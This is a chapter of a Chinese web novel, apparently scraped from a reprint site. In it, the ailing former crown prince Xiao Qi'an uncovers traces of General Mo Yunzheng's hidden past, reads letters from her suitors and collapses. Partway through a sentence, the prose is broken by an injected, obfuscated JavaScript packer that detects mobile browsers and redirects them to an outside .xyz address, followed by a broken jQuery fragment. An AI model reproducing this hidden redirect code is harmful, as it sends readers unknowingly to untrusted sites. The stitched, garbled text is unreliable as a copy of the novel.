12. 第十二章

作品:《折玉予卿gb

    青年撑着身子微微前倾,伸手将夹在里面的书册拽了出来,只是卡的有些紧,让他废了些力气,连指节都泛了白。


    纸张早就泛黄,变得非常脆弱,萧祁安依旧掩着口鼻,一只手微微抬起向后面似是要接什么,而小松也心领神会贴心的递上了帕子,他接过后便拿着轻轻拂去了上面的灰尘与木屑。


    里面小字写的娟秀,但却格外眼熟,他记性不错,想起是自己曾在玄北关的时候,在墨云徵贴身带着的平安扣上见过,那虽是绣的,但行笔留下的习惯,还有笔锋都别无二致,想来是出自同一人之手。


    原以为又是她哪个情人绣的,还因此被他当作借口发作了一番,但如今看到这本如此有年代的物什,倒是真是自己冤枉了她。


    萧祁安随手翻了一页读了起来,才看了半页就眉峰微蹙,重新合上了扉页,对着身侧不明所以的小松低声道,“今日看到这书的事情不许外传。”语毕便将书藏在了盖着的薄毯下藏好。


    墨云徵很少会提出看自己的腿,但别的地方就不一定了,所以这是一个较为隐蔽的地方。


    青年的手掌落在那双纤弱绵软的腿上,没有一点知觉与反应,不禁让他暗了神色,指尖也深入布料叠出的褶皱中紧紧攥住。


    过了几息,他才松了力度,撑着轮椅一侧把手稳住身子,语气轻的似是要融在空中,“梳妆台就留在此处吧,也别提我们进来过。”


    虽然知道地上会留下轮椅的辙痕与小松的足迹,但萧祁安心里并不担心。


    从这间屋子的落灰程度,还有地面上只有他们进来的痕迹来看,墨云徵在得到这间宅子时并未踏足过一步,而这将军府又是玄烛女帝收回十年后重新赐予给她的,足以见得她并不在意,或是不愿打开这扇门。


    那零星的血迹也颇有故事。


    萧祁安到了玄烛都城并不是只呆呆地等这人回来,他早就把能查的东西都搜集了起来,尽管如此,到手的情报却不尽人意,甚至于少得可怜,明显就是有什么人刻意隐藏,抹去她的过去。


    她家曾因一件错处被满门抄斩。


    她是戴罪立功进的军队。


    她做小兵的时候,曾经差点死在一场战役中,而且那场战斗只有她一人幸存。具体是何时发生,发生在何处,他均不知,最后判决也只是那守城的将领的失职。


    这是小松收集到的唯三信息,剩下的他都知道也不会忘记,两人在玄北关明争暗斗那么久,她的每件功勋都是踩在他肩上拿到的,是他的耻辱。


    墨云徵的身世是个秘密,是只有几个当事人才清楚知晓的秘辛,并且绝对与他要查的事有关,萧祁安坚信这点。


    这也是他为什么在听到小松说宫变与玄烛势力参与时,不顾她当时的大肆搜查,也要启程先她一步动身的原因。


    重新回到太阳下,不知怎的,萧祁安只觉得阳光灼得他浑身骨头缝都在疼,让他尽了全力捏着把手才堪堪没痛呼出声,却也没了继续讲话的余力,半阖上眼,维持着清浅的呼吸。


    好在小松知道他的身体情况,稳稳地推着他往他们住的厢房走。


    自家主子本就没完全恢复,这些日子怕被发现,连遏制毒素的药都停了没喝,每日还要操劳那些零碎的破事,如今还能坐住,不瘫软在轮椅中,已经是奇迹了。


    墨云徵虽没亏待什么,给他们安排的住处也是极好的,采光通透,明亮宽敞,平日也会时不时来看看主子的情况,唯一让小松不满的就是掌家一事。


    但萧祁安也说过,若是她不将这些东西交手,才是防备着他们。道理是如此,可他就是心疼主子。


    当年他还是太子书童时,看着主子学得尽是四书五经,为君之道,阅得都是天下奇宝,现在却在这破烂府邸中跟柴米油盐为伍,被磋磨至此。


    这可是他金枝玉叶的主子。


    是他曾经无忧无虑,一心只为做个明君的小太子。


    大厦一朝倾颓,云端月坠入尘泥。


    好在他学了许多保命手段,才陪着主子走到如今。


    小松抱着萧祁安回了榻上,又端了手炉给他放在衾被中暖着。


    看着青年昏昏欲睡的模样,刚想给他放下支着的帘子挡光,身后传来一道平静的女声,“今日新到了一批东西,姑娘叫我送来给正夫过过眼。”


    站在门口的正是周雨,因着在她这个角度只能瞧见小松,与榻上被挡住一半的人,便不知道萧祁安现在身子不适,就公事公办地走个过场。


    “嘘。”吓得小松赶忙回头,小声地回她,生怕将人惊醒“公子歇下了。”


    周雨这才用指尖按住唇瓣,低声同他道,“那等正夫醒了你知会一下,我不打扰了。”


    “无事……”萧祁安其实并未睡下,听他们两人这般小心翼翼,轻扯唇角,哑声道,“我知道了,麻烦小雨管事来一趟。”


    他脸色实在太差,周雨看到不免想起玄北关时,跟在墨云徵身侧那位也是如此,病弱易碎,感觉是必须要被捧在手里才能养得活的。只是后来那位因为她的失误,不知是死了还是跑了,最后都未寻到。


    “不麻烦,正夫需要我将姑娘叫来看看吗?”她原本波澜不惊的古板冰块脸上难得出现了别的情绪,关切道。


    “不必了,妻主又不是大夫,来了只是为她徒增烦恼罢了。”青年慢慢喘了几口气又继续回她,“我歇会就可以了,没有什么大碍。”


    虽然是一副随时都要去了的模样,可既然萧祁安都这般说了,她也不能真的强迫什么,只得点点头,“若是有什么不适的,一定要让小松来叫我们,耽误不得的。”


    “管事放心吧,我会的。”小松连连应下。


    他们主仆真是一个模子的倔,周雨没有办法,但心里还是决定跟墨云徵汇报下状况。


    目送她离开,小松才又开口,“公子,这些东西您真要今天看吗?不然放到明天吧,也不耽误什么。”


    萧祁安抬眼瞧了眼门口的一堆东西,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505377|185991||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    长舒了口气,“先弄进来吧,明日还有明日的事呢。”


    小松胳膊拧不过大腿,不情愿的把一个个箱子抬到了青年床榻边。


    见他慢慢从被中伸出手,随便捞了张大抵是信的物件,拆开看了眼。


    信封原本是被封好的,此刻却被拆了开来,想来是墨云徵已经先点过了,倒是真没防着他,或许是什么不怕他知道的,对她来说不重要的东西。


    躺着看东西还是难受,没等视线掠过几个字就感觉有些头晕目眩,萧祁安便将纸张放在一旁,同小松道,“小松,扶我起来。”


    “唉,好嘞。”身侧的人闻言托着他的脊背,又伸手给他支着起身。


    靠在软枕中,青年又拿起信件看起来,只是越往下看,捏着薄薄纸张的力度就越大,等他将东西放下时,脸上早就没了一点表情。


    只听他扬了扬下巴,冷冷道,“那箱是三皇子府上送的,扔到库房最里面去。”


    见他也不清点,小松自然是没意见的,但明显自家主子是生气了。


    一头雾水的小松并不知道原因,谨慎的又问了一句,“公子不看了吧,剩下的……”


    萧祁安生气的原因很简单,墨云徵随便就让他看到三皇子写的那些东西,根本就是不在乎他的感受。


    满目劳什子酸话,看的他恶心,这人以为是写戏本子吗?


    他十岁就不看了!


    青年怒极反笑,腰也不酸了,人也精神了,中气也足得不行,全凭那堵在心口的气撑着,“谁说不看,给我拿来,那不是还有封信?”


    他倒是要看看都是那女人招惹的那些人,他进门才过几天就来给他立威。


    小松看到那笑,感觉身后都阴侧侧的,无奈的挑出另外一箱子里的信递了上去。


    死一样的寂静。


    “哈,哈哈。”蓦地,两道清朗的笑声响起。


    “好啊。”萧祁安随手扔了信纸,脸上不见半点欣喜,甚至还是没有表情的,“这个更好了。”


    他指尖微抬,“那箱是安平侯府世子的,你抬到墨云徵面前,说是给她赴约用的。”


    完全是气极了,开始直呼那人大名了。


    记得上次听到这个语气,还是在他们在山中躲避追捕,主子知晓墨云徵大捷的消息。


    “清明踏青……”萧祁安指完就恹恹地靠了回去,“倒是好兴致。”


    “怎么这次连演都不愿演下了。”


    青年将掌心覆在心口轻按几下,越揉,那浓稠的眉眼却更加皱在了一处,像是被打翻的墨研浸透的画。


    “公子!”小松看他这般简直吓坏了,“我去给公子叫大夫!”


    “别!”身后带着泣音的字传来,一听便是疼的不行了,“没……没事。”


    短短四个字,便再无声息。


    小松扭头就看到青年淡薄的身子软软的倒在塌边,赶紧折了回去,咬牙掏出个药丸给他服下。


    “这是怎么了?”